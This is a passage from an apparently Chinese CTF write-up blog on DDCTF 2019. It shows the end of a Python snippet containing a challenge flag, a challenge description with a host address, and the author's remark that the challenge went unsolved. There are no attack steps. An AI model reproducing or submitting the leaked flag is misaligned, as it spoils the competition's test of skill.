from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote

mydb = mongodb.db

flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''

Web 8 WEB 再来1杯Java

Description

{% colorquote info %}

绑定Host访问:

116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

{% endcolorquote %}

Hacking

比赛的时候搞不出来…赛后复现看起来得搞挺多的…还是另开一篇写吧。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy